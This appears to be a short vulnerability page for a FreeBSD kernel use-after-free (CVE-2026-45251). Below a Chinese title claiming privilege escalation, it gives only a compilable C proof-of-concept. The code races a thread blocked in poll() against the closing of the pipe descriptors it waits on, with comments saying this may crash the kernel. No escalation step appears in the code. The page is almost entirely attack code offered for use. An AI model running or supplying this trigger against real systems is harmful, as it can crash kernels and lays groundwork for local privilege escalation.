CVE-2026-45251 FreeBSD内核释放后重用权限提升漏洞

/* * PoC for CVE-2026-45251 (FreeBSD Kernel UAF) * This code demonstrates the race condition leading to UAF. * Compile: gcc -o poc_cve202645251 poc_cve202645251.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #include <poll.h> #include <fcntl.h> #include <sys/types.h> int pipefd[2]; void *thread_func(void *arg) { struct pollfd fds; fds.fd = pipefd[0]; fds.events = POLLIN; // Thread blocks in poll(2) waiting for the descriptor printf("[Thread] Blocking in poll() call...\n"); int ret = poll(&fds, 1, -1); // Infinite wait // If execution reaches here without crash, the race might have occurred printf("[Thread] Poll returned: %d\n", ret); perror("poll"); return NULL; } int main() { pthread_t tid; // Create a pipe to get file descriptors if (pipe(pipefd) == -1) { perror("pipe"); exit(1); } // Create a thread that will block on the read end of the pipe if (pthread_create(&tid, NULL, thread_func, NULL) != 0) { perror("pthread_create"); exit(1); } // Allow time for the thread to block in the kernel usleep(100000); // 100ms // Close the file descriptor while the thread is blocked // This triggers the kernel to free the object without unlinking the thread printf("[Main] Closing file descriptors to trigger UAF...\n"); close(pipefd[0]); close(pipefd[1]); // Wait for the thread to finish (or crash the kernel) pthread_join(tid, NULL); printf("[Main] Exploit execution finished.\n"); return 0; }